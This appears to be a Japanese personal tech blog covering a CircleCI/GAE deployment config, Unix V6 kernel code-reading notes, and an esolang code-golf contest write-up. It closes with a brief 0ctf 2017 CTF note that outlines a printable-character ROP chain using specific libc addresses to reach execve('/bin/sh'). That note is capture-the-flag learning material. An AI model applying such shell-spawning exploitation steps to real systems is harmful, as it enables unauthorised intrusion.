Circle CI + Python3 + GAEについて
Circle CI + Python3 + GAEについて
別にどうというわけでもないが、メモ。３時間くらい悩まされたため。
背景
Googleが提供するPythonで実装されたスクリプト群がPython2で動くことはあまりにも有名ですね。そもそもAppEngineのStandard Environmentにデプロイしようと思うとPythonのバージョンは2でないと動かないです。
ところで、Flexible Engine(以下FE)では3も動かすことが可能です。先日、Python3 + Djangoで書いたコードをFEに投げてhogehogeしていました。ここにCIを導入しようと思い、ある程度無料でプライベートリポジトリでも利用可能なCircle CIを導入しました。
問題
問題は、アプリがPython3で動いている一方で、Python2のgcloudコマンド群を動かさないといけないという点です。
Circle CIが用意しているイメージを使ってgcloudコマンドを叩くことは可能（Python2のイメージを使ってインストールすることも可能）ですが、そうすると、App側で動かしたい一連のタスクが実行できなくなりました。
根底にあるのは、普通に提供されている機能だけを使うと、Python2/3の両立が必要なタスクが難しいのではないか？という点です。
解決
結論は簡単で自分でdockerイメージを作りました。gcloud-python3にあります（二つ入れただけですが）。
jobs:
deploy:
working_directory: ~/repo
docker:
- image: moratorium08/gcloud-python3
environment:
- GOOGLE_APPLICATION_CREDENTIALS: "gcp-key.json"
steps:
- checkout
- run:
name: create yamls
command: |
echo "$GOOGLE_AUTH" | base64 -i --decode > "gcp-key.json"
gcloud auth activate-service-account --key-file "gcp-key.json"
- run:
name: install dependencies
command: |
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
- run:
name: collect static
command: |
. venv/bin/activate
python manage.py collectstatic
- run:
name: upload static files
command:
gsutil rsync -R static $BUCKET_NAME
- run:
name: deploy production
command: |
gcloud --quiet config set project "$GOOGLE_PROJECT_ID"
gcloud --quiet app deploy app.yaml
workflows:
version: 2
build-deploy:
jobs:
- deploy:
filters:
branches:
only: master
こんな感じ
感想
Dockerで殴るのは速いし余計なことを考えなくて良いなぁという気持ちですが、そもそも普段使いでgcloudとPython3を両立させるのが少々めんどう（virtualenv下においてPython3の環境だけでなく2も動くようにしておかないといけない？）なので一元的に扱う良い方法はないものなのかなぁという感じです。
知ってたら教えてください
Unix V6コードリーディングの個人的なメモ
学科ゼミとしてV6を読む会というのをやっています。ここまでのところ4回ほど開いて、順次はじめてのOSコードリーディング ~UNIX V6で学ぶカーネルのしくみ (Software Design plus)を読んでいます。とりあえずオラオラと9章(加えて14章)まで読んで来たわけですが、面白いなぁと思ったいくつかのことについて自分でまとめておこうという気持ちになったのでまとめようと思います。
ぼくはLions本を前から読んでいるわけではなく、V6の基本的知識はOSコードリーディング本によるものです。
（書いたのは、好きな話や少し気になった話だけです（浅く網羅しても仕方ないため））
forkの仕組み
概念的に「forkはプロセスの内容がコピーされて分岐する」のような説明を聞くことがあるのですが、これを達成する部分は少し巧妙でした。これはほぼ各所で書かれている話ですが、理解したところをまとめておきたいと思います。
基本的にUnix V6で新しいプロセスを作るにはこのforkをします。forkとは、現状のプロセスのコピーを作って、プロセスを分岐させます。ここで、実行される命令の列は同じだが、二つのプロセスの実行の流れを分岐させるうまい仕組みがあります。
そもそもforkは細かく見ると、具体的には次のいくつかの部分に分かれます
【親プロセス】
- newprocを呼び出す
- procやデータセグメントの情報を子供のプロセスにコピーする(*)
- newprocをreturnし、このとき0が帰って来る
savu(u.u_rsav);
rpp = p;
u.u_procp = rpp;
rip = up;
n = rip->p_size;
a1 = rip->p_addr;
rpp->p_size = n;
a2 = malloc(coremap, n);
/*
* If there is not enough core for the
* new process, swap out the current process to generate the
* copy.
*/
if(a2 == NULL) {
rip->p_stat = SIDL;
rpp->p_addr = a1;
savu(u.u_ssav);
xswap(rpp, 0, 0);
rpp->p_flag =| SSWAP;
rip->p_stat = SRUN;
} else {
/*
* There is core, so just copy.
*/
rpp->p_addr = a2;
while(n--)
copyseg(a1++, a2++);
}
u.u_procp = rip;
return(0);
(ken/slp.c)
このとき、子供は起きていない状態で、親の実行が進みます。次に、swtchによって、プロセスのスイッチが起きて、子供が起こされた時どういう挙動になるかを考えます。まず実行が始まるのは、データセグメントやレジスタの情報を保存した部分になります。これは、すなわち、上記のnewprocの中の部分です。
swtch自体は、
if(rp->p_flag&SSWAP) { rp->p_flag =& ~SSWAP; aretu(u.u_ssav); } /* * The value returned here has many subtle implications. * See the newproc comments. */ return(1);
(ken/slp.c)
のような形で関数から戻ります。
ここで重要なのは、swtch内でaretuが実行されることにより、このnewprocを呼び出した関数に戻るように、swtchがreturnされるという点です（すなわち、スタックフレームが一個ずれる）。これにより、newprocからあたかも1が帰って来ている状態になり、結果として、
fork()
{
register struct proc *p1, *p2;
p1 = u.u_procp;
for(p2 = &proc[0]; p2 < &proc[NPROC]; p2++)
if(p2->p_stat == NULL)
goto found;
u.u_error = EAGAIN;
goto out;
found:
if(newproc()) {
u.u_ar0[R0] = p1->p_pid;
u.u_cstime[0] = 0;
u.u_cstime[1] = 0;
u.u_stime = 0;
u.u_cutime[0] = 0;
u.u_cutime[1] = 0;
u.u_utime = 0;
return;
}
u.u_ar0[R0] = p2->p_pid;
out:
u.u_ar0[R7] =+ 2;
}
(ken/sys1.c)
上のプログラムにおいて、newprocの返り値による分岐ができています（！）。この仕組みはなかなかうまいなぁと思います。
文章で書いてもわかりにくいので図にしました。
図にしてもあまりうまく書けなかったです。
MMU用のハードウェアAPRなどの管理
UISAやUDSAのようなアドレスは特定のアドレスにマップされていますが、なぜこれを更新するとちゃんとコンテキストスイッチができるのかについて本を読んでいて納得できなかったので一応メモです（今から考えるとそれはそう）。
というのは、UISAやUDSAというのはアドレス中の値であり、具体的には
#define UISA 0177640 /* first user I-space address register */ #define UDSA 0177660 /* first user D-space address register */
のように定まっています。しかし、このアドレスというのは仮想アドレスであることから、MMUがうまく参照できないのでは？という疑念がありました。
結論から言うと、カーネルAPRの7番目の値すなわち仮想アドレス0160000〜0177777が常に物理アドレス上の0760000〜0777777にマップされるため問題はないです。 つまり、UISAがマップされる場所やUDSAがマップされる場所は常に固定で、逆にこの固定の領域を使って周辺デバイスとのやりとりがなされています。 これらのアドレスが選ばれていることについては、Lions本を引用すれば"The method of assignment of addresses to registers in this page is a black art: the values are hallowed by tradition and are not to be questioned."らしいので、とりあえずこの場所に固定された領域があってMMUがここを読みに来ているのでうまくアドレス変換が可能となるのだということまでは言えると思います。
その他ネタ
へーって思った話。普通にPDP 11のWikipediaとかOSリーディングの本とか見れば書いてあることだが、へーって思ったのでメモ。
無名構造体
int型の値のMSBから8bitみたいな値を参照するのに、構造体のようにアクセスしているコードが随所にあります。
(*bdevsw[rootdev.d_major].d_open)(rootdev, 1);
こんな風な感じです。これ一見すると全然変ではないんですが、例えばrootdevというのは、
int rootdev; /* dev of root see conf.c */
のように定義されていることからわかるように、int型の値です。すなわち、int型の値に構造体にアクセスしているということで、なんやねんとなります。
実は、ここで使われているC言語はpre K&Rといわれるもので、現在ではありえないような構文がいくつか存在します。これもその一つで、裏には、無名構造体という概念があります。例えば、d_major、d_minorの定義は
struct
{
char d_minor;
char d_major;
};
のようになっています。このように無名な構造体を定義すると、任意の変数に対してこのような参照が可能になります。 デバイス番号というのは、MSB8bitにmajor番号、その下8bitにminor番号が入ったものになっています（int型自体は16bit）。したがって、見方によってはint型というのはchar型が二つ並んだという構造をしているものであると考えることができ、よって上のような書き方をすることができます。すなわち、MSB1byte分に対するアクセスであると言えます。
ところで面白いのは、デニスリッチーですら混乱したのか一部では
(*bdevsw[swapdev>>8].d_strategy)(&swbuf);
(dmr/bio.c のswap関数)
のように、デバイスのMSB1byteをある種より直接的に取り出しているコードがあったりして面白いです。
エンディアンの話
上に関連して、上のコードが動くならリトルエンディアンなんやろなーって思ったら、少し興味深い感じでした。というのは、確かに16bitの値に対してはリトルエンディアンになっているのですが、32bitの値を表現する、すなわち2ワードに関しては、ワードについてはビッグエンディアンになっているらしいということです。日本語で説明するのは難しいので図があります。
itruncで間接参照テーブルについてのoff by one errorっぽいやつ
if(*ip) {
if((rp->i_mode&ILARG) != 0) {
bp = bread(rp->i_dev, *ip);
for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
if(*cp) {
if(ip == &rp->i_addr[7]) {
dp = bread(rp->i_dev, *cp);
for(ep = dp->b_addr+512; ep >= dp->b_addr; ep--)
if(*ep)
free(rp->i_dev, *ep);
brelse(dp);
}
free(rp->i_dev, *cp);
}
brelse(bp);
}
free(rp->i_dev, *ip);
*ip = 0;
}
(ken/iget.c itrunc関数）
ここですが、
for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
はおそらく、512ではなく、510ですよね。
これに関してはLions本にも言及があり、"Since they will presumably contain zero, they will contribute nothing to the calculation."などと書いてある。確かに、*(b_addr+512)が0であれば、そのあとの条件分岐の中に入らないので良いっぽいのだが、いつゼロクリアしたかというと、これは難しくて、例えばバッファの初期化部分のコードを見ると
clrbuf(bp)
int *bp;
{
register *p;
register c;
p = bp->b_addr;
c = 256;
do
*p++ = 0;
while (--c);
}
(dmr/bio.c)
となっていて256回ループするが、ところで、bufferの定義は、
char buffers[NBUF][514];
であることから、最後の2byteについてはおそらく0クリアされない。すると、どこで、0クリアされているのかを考えると、おそらく起動時の物理メモリの0クリアまで遡るのではないか。この部分については完全に推測でしかないが、しかし、off by oneっぽいのが残っているのは少し面白いです。
ねむい。だいぶ雑になってしまったので渋い（また全部読んだ時に改めてまとめたい）
星空を描く ~esolang(難解プログラミング言語) writeup ~
３月末に、TSGというサークルでesolang( esoteric language ;難解プログラミング言語の略)陣取り大会というゲームが開催されました。この記事はそのwriteupです。割とポエムです。
TL;DR
esolangショートコーディングは、僕がポエムを書いてしまうくらいには熱い
この記事に書かれているのはこれだけです。
目次
- TL;DR
- 目次
- ルール
- 解法の概観
- Starry
- Emoji
- Element
- Minus
- Emmental
- Beam
- Minimal-2D
- (Brainfuck)
- Golf言語たち
- 実用言語たち
- Cubix(解けなかったけど紹介)
- 終わりに
ルール
esolang陣取り大会のルールは、
- 赤と青の二つのチームに分かれたチーム戦
- 「百桁の数列をソートして出力せよ」という問題を解く （例えば４桁の例として、4321 -> 1234）
- 各チームは獲得済みの陣地の四方の言語に挑戦可能で、各マスの言語でお題にかなうコードを書くと、陣地として獲得可能
- 相手の陣地も、より短いコードを出せば、取り返せる
(相手の解答は終了までは見れない)
というものです。要するに『より短いコードで、ソートをせよ！』というある種のコードゴルフ的な要素を秘めています。
大会の様子については、TSGの公式Twitterをご覧ください。
結果は、赤チームが27-20で勝ちました（僕は赤チームでした）。
競技の推移
こんな感じで陣地が変わっていきました
解法の概観
各言語のwriteupを書く前に、「百桁の数列をソートして出力」という問題に対するいくつかのアプローチを紹介します。
ソートと聞けば、クイックソートやヒープソートなどを思い浮かべがちですが、今回は計算量よりもコードが短いことが正義です。そういった実装は、大きくなりがちなので、今回は一度も直接的に（ライブラリとしてソートがある場合は別として）、それらを実装することはありませんでした。
今回僕が用いた方針は大きくわけて３つです。
- バケツソート
- 0〜9についてそれぞれ文字列をなめて、一致したら出力（以下、総なめ方針と呼ぶ）
- 言語やそのライブラリにソート実装がある（Golf言語や実用言語）
バケツソートは、Wikipediaにもありますが、数列を順に見ていき、0~9のそれぞれの数を順に数え、その後その回数分その文字列を出力する、という方針です。これは簡単なループで書くことができ、今回の問題に関しては非常に強力でした。
以下、僕が解いた言語について（最終的に最短解ではなかったものも含めて）、書いていこうと思います。
Starry
僕はこの言語が結構好きで、タイトルや年賀状にしてしまいました。
スタックベースの言語で、内部実装はRubyです。言語仕様はesolang wikiを参照してください。
方針1. バケツソート
Rubyは多倍長整数をサポートしているので、100桁の数値も、int型として保持可能です。この性質を利用して、0~9の「バケツ」を100進数の数の各桁として保持するという方針でまず解きました。
+ + + * +* ` + , + + * + * * + + +' ` + + + * +* * + + *` + ' +* + + * + ' + + ` + + + + * +* * + ' ` + + +. + + * ` + ' + + + * +* * + +* + + * '
(339bytes)
綺麗な星空です。星空は観賞用で、実装自体はPythonを使って書いたので、内容はstarry/solve1.pyを見てください。
方針2. 総なめ方針
最初339bytesの星空が描けて満足していたんですが、この後kurgm氏が260bytesの回答を提出し、抜かされます。そこで、方針を切り替えて、上で挙げた三つの方針のうちの二番目、『総なめ方針』に切り替えました。
実は、このesolang問題サーバーは、テストが甘く、毎回乱数でテストケースを生成しますが、ケースが一つだけなので、コーナーケースがあったとしても常識的な範囲で通れば通せてしまうという話があります。今回短くするにあたって、実はこの方針は先頭の文字が0だとその0が失われてしまうというコーナーケースが存在します。
しかしそれを回避するコードを描くと少し長くなってしまうので、今回は多少のコーナーケースには目をつぶりました。
, + + ` +` + + * + + + + * ' +. ` + + * +'* +* + + + + + + * '
(133bytes)
実装方針は、starry/solve2.pyです。
一応この後青チームに奪われなかったので今回はこのコードが最終解になりました。
Emoji
この言語は、Unicodeにある絵文字を使ってプログラミングをする言語です。スタックベースの言語ですが、変数が定義可能で、変数名でのデータ参照が可能です。内部実装はPythonです。詳しい仕様に関してはEsolang Wikiを見てください。
方針
この言語は最初kurgm氏が248bytesの解法で解いている状態から始まりました。これ自体が既に十分短く、簡単なバケツソートでは太刀打ちができませんでした。そこで、上で示した2番目の方針である総なめ方針を使いました。
この言語は、配列や文字列のn番目の値にアクセスをすることが可能で、ただし、outputは必ず改行が入ってしまうという問題がありました。
したがって、基本方針としては、0~9について順に、100桁の数を一つずつ見ていき、一致すればresult用文字列の後ろにつけ、最後にその文字列を出力するという方針をとりました。
しかし、実はこれも愚直に２回のループを使って実装すると248bytesを抜けませんでした。そこでさらに発想を加えて、１回のループでこれを実現することを考えました。
具体的には「インデックスとして保持する変数を100進数として見た時、1桁目を文字列のインデックスに、2桁目を今どの文字を参照しているか？にあてる」という方針を使いました。
例えば、4805という数字は、48（「0」のascii文字コード）を2桁目が差していて、1桁目が5を差しています。すなわち、このループでは、 「6442285896459673378121435372838284681661827573016871763560392310008272763218711572923569634914483640」 というような数列に対して、(0indexで)五番目の2が、0か？を判定する処理を書けば良いです。
このようにすると、競技中に229bytesまで縮めることができました。
💬💬📲💬💬💬0💬🔢⛽💬1💬🔢👫👥💬5800💬🔢🐣🚘 ⛽👥👥💬100💬🔢🍴🔍👥💬c💬📲🔀💬100💬🔢💸💬💬📱🔀🔑👬🔚🔀💬c💬📱👫🔀🐧🚘 🔃🔀➡
(229bytes)
競技中はこれが最短解となりました。実装用に競技中に使用したPythonスクリプトemoji/solve.pyです。
競技後
競技後、敵チームだったkurgm氏と解答について話し合っていると、実は、emojiの仕様や内部実装であるPythonの仕様、さらにはUnicodeの仕様を理解していると、さらに短くすることが可能であることが判明しました。Slackで挙げられていたものを勝手に羅列させてもらえば、
- Pythonにおいて「False + 1 = 1」となるので、0初期化はFalseを使うべき
- 📤の１文字でインクリメントが可能
- PythonのDictはKeyとしてFalseやTrueが使えるのでそちらを使うべき
- 文字列生成は、emojiには二つパターンがあるのですが、そのうち、⛽🚘の方が💬💬より1byte短い（！）
などです。これを適用するとkurgm氏が一気に183bytesまで短くするなど、していたので、なかなかに奥が深い言語だったなぁという感じです。
Element
非常に人間の温かみを感じる言語。今回書いたesolangの中では最も書きやすい言語でした。実際競技中に解く際も、Pythonなどでコード生成するのではなく直接Elementを書いたので、そういう意味でも良い言語でした（後に出てくる２次元系言語は仕方なしに直接書きましたが）。
仕様は、Esolang Wikiに詳しいですが、簡単に解説すれば、制御用のスタックとデータ保持用のスタックがあり、変数を作ることもできます。大きな特徴は変数参照「~」にあります。これは「a~」と書くと、aという名前の変数に代入されている値を取り出すという意味になり、さらに「a~~」のようにすると、aという変数に代入されている値の名前の変数を参照する、、、というように、組み合わせることで、一つの変数から色々な場所へ飛ぶことができます。これを今回はフル活用しました。
方針は典型的なバケツソートで、変数名0~9をバケツとして扱い、それをそのあとに取り出すという方針です。
0 0;
0 1;
0 2;
0 3;
0 4;
0 5;
0 6;
0 7;
0 8;
0 9;
_ q;
100'[
q~ ( x; q;
1 x~~ + x~;
]
10'{
"k;
10 k~ -+ i;
i~~'[
i~`
}
k~ 1 -+ '
}
(element/code) さらに、不要な改行やスペースを取り除き、短くすると88bytesになりました。
00;01;02;03;04;05;06;07;08;09;_q;100'[q~(x;q;1 x~~+x~;]10'{"k;10 k~-+i;i~~'[i~`}k~1 -+'}
(88bytes, element/code.min)
Minus
驚くべきことに、この言語には命令「-=」しか備わっていません。つまり、基本的に演算が引き算しかありません。しかし、この言語はチューリング完全です（brainfuckがシミュレート可能）。言語仕様に関しては、公式サイトに書いてありますが、見辛い（背景の灰色が主にその要因）ので、今回使った話を少しまとめます。
-=しか使えない、と書きましたが、特定のレジスタを書き換えることや、レジスタの値を参照することで、inputやoutput、さらにはループを実現します。
レジスタ
基本的に小文字のアルファベットはレジスタです。特に、c, i, o, pは重要な意味を持つレジスタで、さらにj, q, rも意味のあるレジスタです（今回は使いませんでした）。それ以外は汎用レジスタとして使えます（のはず）。
まず、inputに関連するレジスタは、iです。例えば、
a-=i
とすると、inputから１文字を読み込んでその値をレジスタaから引き算します。
outputに関連するレジスタはo, j, qがありますが、今回はoのみ考えます（詳しい話は公式を見てください）。oから値を引くと、その値が出力されます。ここで注意すべきなのは、oに何か値があるというわけではないので、例えばA-=48;o-=A;o-=Aというコードは２回0が表示される。あくまでも引かれた数が出力されます。
さらに、cというレジスタがx86でいうところのeipというやつ、すなわち、インストラクションポインタです。基本的に命令はファイルの上から下へ進み、それに伴いcの値は加算されていきます。しかしここで、c-=1などとかくと、無限ループさせることができます。これを駆使してループを実現することができます。
そして最後にpレジスタです。MinusにはBrainfuckのように無限長のメモリがあります。これがMinusのメモリ機構になるのですが、このメモリを参照する際のベースポインタを表しているのがpレジスタです。そして、pレジスタからの特定のオフセットの値を読み書きするために使えるのが大文字のアルファベット群です。これはAがp+0、Bがp+1、…というように特定のオフセットへのメモリアクセスを可能にしています。
メモリに関して具体例を示します。例えば、次のように、Aに値(48は0のasciiコード)を入れたあとにpを1引くと、その前に入れた値はBへ移ります。
コード
A-=48 p-=1 o-=B
実行結果
% minus code 0%
方針
Minusは、esolang大会で最初に解いたesolangで、このころはまだ愚直にバケツソートばかり書いていました（そして最後まで奪われなかった）。なので、この解答はあまり短く無いかもしれません。
内容は、疑似コードとして
for i in range(100): mem[p-getc()]++ for i in range(48, 58): for j in range(mem[p-i]): write(i)
のようなコードをMinusで再現しました。
p-=p k-=k l-=l k-=100 l-=k p-=90 A-=A k-=k k-=l A-=9 p-=k c-=A p-=p A-=i p-=A K-=1 A-=K p-=p A-=A l-=1 c-=16 p-=p p-=p k-=k l-=l k-=10 l-=k p-=60 A-=A k-=k k-=l A-=31 p-=k c-=A p-=p A-=A A-=58 m-=m n-=n m-=10 n-=m n-=l A-=n p-=A u-=u u-=A A-=A p-=p p-=30 A-=A v-=v v-=u A-=7 p-=v c-=A p-=p A-=A A-=48 A-=n o-=A u-=1 c-=15 p-=p l-=1 c-=38
(337bytes)
まぁこれを見てわかる人は少ないと思うので、このコードを生成したスクリプトminus/solve.pyです。
Emmental
僕が言語仕様を捉えきれずに解いてしまった言語です。おそらくもっとずっと短くなるはずのコードについて説明します。
まず、Emmentalに関してはkimiyukiさんのブログに詳しいので割愛します。良い言語らしいのですが、数字を変数として扱うと突然どっかへ飛んで行ってしまったり、そもそもデバッグがしづらい、僕の技量が足りない、等の理由であんまり短くすることを諦めました。
そもそもこの言語、文字列は#[Ascii code]という形でスタックにpushするのですが、関数定義はコードとして評価可能な文字列を変数に代入することで行います。すると、手でコードを生成しようとすると#.. #..を無限に打つハメになりさすがにダメです。これに関しては、kimiyukiさんのブログでも指摘されている通り、大体表現を用いて後からcodeをトランスパイル的なことをすれば良いというになります。
そのためのコードが、emmental/transolator.pyです。これを用いると、「; 'v'^'$ 'z!」（rotate関数）のように書いたコードを、トランスパイルすると'[文字]の部分が、#[ascii code]化されて「;#118#94#36#77!」となります。さらに、追加機能で「;'(ABC)!」とすると（これ再帰表現には対応していないですが）、「;'A'B'C!」と展開されるような機能もついています。これで少しコードが書きやすくなります。
方針 バケツソート
この言語でもバケツソートを用いました（この言語は比較処理が強くないので適切なはず）。しかし書いた解法どちらにもコーナーケースが存在しました。特に二つ目に関しては5回に1回くらいしか通らないゴミです。そして、一つ目と本質部分は変わらないので、一つ目だけ少し書きます。
この言語、メモリがrotate可能です（queue型）。すると、読み込み部分は楽にかけます。
// push functions ;'(v#1+^$rrrrrrrrr)#65! ;'(rv#1+^$rrrrrrrr)#66! ;'(rrv#1+^$rrrrrrr)#67! ;'(rrrv#1+^$rrrrrr)#68! ;'(rrrrv#1+^$rrrrr)#69! ;'(rrrrrv#1+^$rrrr)#70! ;'(rrrrrrv#1+^$rrr)#71! ;'(rrrrrrrv#1+^$rr)#72! ;'(rrrrrrrrv#1+^$r)#73! ;'(rrrrrrrrrv#1+^$)#74! // read 100 times ;','#'1'7'+'?'t! tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt
(rはrotate)
お察しの通り、読み込んだ文字に17を足して（これを数字のままマッピングするとバグる）、大文字のアルファベットにマップし、queueをうまいこと回転させてバケツに入れます。
問題はこの後で、この言語、条件分岐はなく、関数名のマッピングで、飛ぶ先をうまく操作する必要があります（だから条件分岐がないわけではないが）。
この言語ではこれを達成するため（？）に、logxという関数があります。この使い方に関してはkimiyukiさんのブログに少し書いてあります。これはPythonで言うところの、floor(log(x,2))とほぼ同じのはずです。ただし、log(0)は8になったりなど、ちょっと急いでいる（相手チームも取れるマスだった）ときに理解がうまく走らなかったので、仕方なく愚直解を書きました。
; '#'4'8'.'p! ;'p'#'1'-':'#'6'5'+'?'l! ; '*'A! ; 'l'B! ; 'l'C! ; 'l'D! ; 'l'E! ; 'l'F! ; 'l'G! ; 'l'H! ; 'l'I! ; 'l'J! ; 'l'K! ; 'l'L! ; 'l'M! ; 'l'N! ; 'l'O! ; 'l'P! v:#65+?
具体的にはこうです（これは0の場合）。バケツが1以上の時は、lに行き、0の時にnopをするようなsled的なものを作り、対処しました。まぁ動きます（自明なコーナーケースがありますがそんなには落ちません）。
残る問題として、これを0~9全部について書かなければいけないということです。予定では、このl-sledとも呼ぶべきA~Pの関数群は、定義されたタイミングでのlに飛ぶようになっているようで、次に新しく1のためのlを定義すると、また新しくこのsledを作る必要があります（今気づいたんですが、文字を表すシンボルを外部においておいて、それを参照するようにすれば、lを再定義する必要がなくなる気がしますが、当時はそういう発想はありませんでした）。
結果、コードが、2844bytesになります。一応完成コードemmental/code1, とトランスパイル前emmental/solve1です。
さすがに短くできるだろうと、この後ループ等に挑戦するもうまくいかず結果として生成されたコーナーケースだらけコードが、emmental/solve2です。一応1838bytesになりますが、こんなものは参考記録です。
Beam
世の中には、Befungeなどに代表されるtwo dimensional languagesというものが存在します。普通の言語は、通常、一行一行が上から下へ、そして、各行は左から右へ実行されるのが常識だと思います。しかし、この手の「二次元プログラミング言語」（どう訳されるのか知りませんが）は、プログラムが２次元の格子状にマッピングされ、プログラムのされかたによって、インストラクションポインタが縦横無尽に格子上を駆け巡ります。
では、このBeamという言語の仕様について簡単に説明します。詳しい仕様は、Esolang Wikiに書いてあります。
この言語の特徴は、beamとstoreと呼ばれる二つのレジスタです。プログラムの進行の制御はこの二つのレジスタを介して達成されます。
基本骨格としては、>^<vを使ってプログラムの進行をぐるぐると回してループをさせつつ、条件分岐をする、ということになります。
しかし、ここで一つ問題があって、よくあるBrainfuckなどの無限長メモリがある言語では多くの場合、初期値として無限長のメモリに0が代入されている、という仕様になっているはずです。しかし、Beamでは初期にはメモリは長さ0の配列という形になっていて、ここで値を参照するとUndefinedになります（予定では0）。Beamの仕様を詳しく読んでいないので、実はBeamの実装が正しくないという可能性（しばしばesolangの実装は仕様と異なる時がある）があるのですが、このために、最初に使う範囲のメモリを0でfillするという作業を加えました。
その部分が
P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'v vP'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'< >`````````````````````````````v v`````````````````````````````<
ここです。そして、100回入力を読み込みます。これはEOFまで読み込むはずです。
>> rg'sSv ^ ) v L<
あとは、0~9についてはループを書いても良さそうだったんですが、相手陣地から遠いということもあって、愚直に全部とりあえず書きました（そして奪い返されなかったのでこのままになった）。
v s< g (@`^ +
これが表示部分（のひとつ）です。最終的なコードはbeam/codeです(418bytes)。かなり書きやすい言語だったという印象です。
Minimal-2D
これも「二次元プログラミング言語」の一つです。しかもこの言語、コマンドが非常に少ないのが特徴で、11個しかありません。Esolang Wikiに詳しい言語仕様が書いてありますが、簡単に各命令について書きます。
| 記号 | 内容 |
|---|---|
| > | メモリベースポインタを一つ右にずらす |
| < | メモリベースポインタを一つ左にずらす |
| U | プログラムの進行を上向きへ |
| D | プログラムの進行を下向きへ｜ |
| L | プログラムの進行を左向きへ｜ |
| R | プログラムの進行を右向きへ｜ |
| / | ベースポインタが指すメモリの値が0ならば次の命令を無視する |
| + | 現在のベースポインタが指すメモリの値を1増やす |
| - | 現在のベースポインタが指すメモリの値を1減らす |
| . | ベースポインタが指す値を出力 |
| , | 入力をベースポインタが指すメモリに書き込む |
これだけです。インストラクションポインタをぐるぐると回してループをしつつ、条件分岐を/で行うのが骨格となります。また、メモリがスタックではなくポインタで参照なので、この点にも留意が必要です。
方針
これもバケツソートです。こういうスタック型でない言語はバケツソートが書きやすいので、多分適しています（書きやすいから、適するは真か？）。
実はこの言語は、相手陣地から遠く離れたところにあって、競争を免れていたので、あまり短くする努力をしませんでした。なので、コード自体は非常に見やすいものとなっていますが、良いコードかは保証しません。
<++++++++++++++++++++++++D
D>+++++++++++++++++++++++L
R++++++++++++++++++++++++++++++++++++++++++++++++++ D
D++++++++++++++++++++++++++++++++++++++++++++++++++L
R>,------------------------D
D------------------------L
R/D >+< D
R-/D >> + << D
R-/D >>> + <<< D
R-/D >>>> + <<<< D
R-/D >>>>> + <<<<< D
R-/D >>>>>> + <<<<<< D
R-/D >>>>>>> + <<<<<<< D
R-/D >>>>>>>> + <<<<<<<< D
R-/D >>>>>>>>> + <<<<<<<<< D
R-/D>>>>>>>>>>+<<<<<<<<<<D
DU/ -< L
R<<+>>>R<<<.>>>-/D<<<+>>>>R<<<<.>>>>-/D<<<<+>>>>>R<<<<<.>>>>>-/D<<<<<+>>>>>>R<<<<<<.>>>>>>-/D<<<<<<+>>>>>>>R<<<<<<<.>>>>>>>-/D<<<<<<<+>>>>>>>>R<<<<<<<<.>>>>>>>>-/D<<<<<<<<+>>>>>>>>>R<<<<<<<<<.>>>>>>>>>-/D<<<<<<<<<+>>>>>>>>>>R<<<<<<<<<<.>>>>>>>>>>-/D<<<<<<<<<<+>>>>>>>>>>>R<<<<<<<<<<<.>>>>>>>>>>>-/D<<<<<<<<<<<+>>>>>>>>>>>>R<<<<<<<<<<<<.>>>>>>>>>>>>-/D
U L U L U L U L U L U L U L U L U L U L
(1542 bytes, )
brainfuck同様、大きな数（100とか）の初期化はループを用いて短くできるなどのテクはこの言語でも有効ですが、短くする必要がなさそうだったのでしていません。
やっていることは100文字読み込んで、メモリに配置したバケツに入れ、その後一番下の長い長い（ここもちゃんとループを書けば短くなるはず）部分で、それぞれの文字を吐き出しています。力技です。
(Brainfuck)
最初に800bytes超えのコードを出して喜んでたらその夜くらいに、daiさんが36bytesとかいう意味不明すぎる解答を提出して、驚きを通り越して笑ってしまいました。おわり。
Golf言語たち
Golf言語たちは、ググってドキュメントをあたれば大体わかります。そして入力を受け取ってソートをするというような処理は、非常に短い文字数で達成できます。大体sortのSに近いワードが割り当てられてるのでエスパーでも当てられるきもします。
MATL
jS
CJam
q$
05ab1e
I{
2sable
I{
（実は2sableと05ab1eは両方、{でいけるんですねこれが（何故競技中お互い気づかなかったのか））
Jelly
ɠṢ
Stuck
s$
実用言語たち
みんな大好きPython、Octave、C（これはsatosさんに抜かれた）、C#（これはliesegangさんに抜かれた）、D（これはkurgmさんに抜かれた）。
Anarchy Golfのネタバレにもなりますし（Anarchy Golfより短いものができているのならまだしも）、コードを出すまでもないので（まあPythonとか大したコードでもないので）、スルーします。
C言語に関しては、多分環境がAnarchy Golfと違うので結構長いコードになってしまっているのですが、これもまた面白かったです。C言語の最初のCorrect Answerが112bytesでここから、多分５〜７個くらいの発想の追加で、57bytesになりました。C言語は本当に奥が深いです。
Cubix(解けなかったけど紹介)
これ終了２時間前くらいに解こうと決意して、結局解き終わらず、今も解けていないんですが、非常に興味深い言語です。言語仕様は、Befunge, Labyrinthや今回解いたMinimal 2D, Beamのような2次元に書くプログラミング言語の一種なのですが、なんと意味不明なことに、それを立方体の表面に貼り付けるというのです。
これでショートコーディングをするということは、論理的な力だけでなく、立体把握能力さえも問われるという、非常に脳みそ破壊的言語なわけです。もはやこれだけで大会を開けるのではないか、というレベルです。
終わりに
ここまで読んでくれた方はいないでしょうが、esolangは非常に楽しいので、つい時間を溶かしてしまってさらにはポエムまで書いてしまう怖さがあるなぁ、ということがわかります。
特に、esolangでショートコーディングするにあたって「言語仕様を理解し、それに合った実装を行う」というステップはパズルのようでかなりはまります。是非今後もやっていきたいという感じです。
0ctf 2017
char
ropできるんだけど、送りこめるデータが識字可能文字だけ、という問題。rop用にlibcが0x5555e000あたりにロードされる。まぁ、ある意味頑張ればできる問題なので、solverは結構いた。
方針は、/bin/shのアドレス(0x556bb7ec)自体は、ロード不可能な文字列を含むので、それに近くてロード可能なアドレスである0x556b7e7eをebxにロードし、ebxに0x396eを足す。そして、システムコールexecve(ebx=“/bin/sh”, ecx = [“/bin/sh”, NULL], edx=0)の状態を作る。
